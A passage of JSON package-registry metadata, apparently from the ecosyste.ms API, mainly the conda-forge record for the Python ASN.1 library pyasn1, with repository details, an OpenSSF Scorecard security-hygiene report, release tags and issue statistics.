Rosa","role":null,"created_at":"2026-03-05T07:05:14.940Z","updated_at":"2026-03-05T07:05:14.940Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3176,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":906},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-08-20T05:05:54.594Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":5290160,"name":"pyasn1","ecosystem":"conda","description":"Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":17,"first_release_published_at":"2022-10-03T15:49:24.061Z","latest_release_published_at":"2019-11-17T02:41:08.000Z","latest_release_number":"0.4.8","last_synced_at":"2026-08-11T12:24:50.358Z","created_at":"2022-10-03T15:49:24.053Z","updated_at":"2026-08-15T09:21:24.936Z","registry_url":"https://anaconda.org/conda-forge/pyasn1","install_command":"conda install -c conda-forge pyasn1","documentation_url":null,"metadata":{},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.935Z","dependent_packages_count":48,"downloads":19617607,"downloads_period":"total","dependent_repos_count":399,"rankings":{"downloads":null,"dependent_repos_count":1.4172363890413693,"dependent_packages_count":1.5020709616248316,"stargazers_count":51.17520834372973,"forks_count":43.794600528968516,"docker_downloads_count":null,"average":24.47227905584111},"purl":"pkg:conda/pyasn1?repository_url=https://conda-forge.org","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pyasn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pyasn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyasn1/codemeta","maintainers":[],"registry":{"name":"conda-forge.org","url":"https://conda-forge.org","ecosystem":"conda","default":false,"packages_count":20636,"maintainers_count":0,"namespaces_count":0,"keywords_count":13549,"github":"conda-forge","metadata":{"kind":"conda-forge","key":"CondaForge","api":"https://conda.anaconda.org","funded_packages_count":2345},"icon_url":"https://github.com/conda-forge.png","created_at":"2022-10-03T15:37:08.743Z","updated_at":"2026-08-19T05:05:46.886Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/namespaces"}},{"id":11138107,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 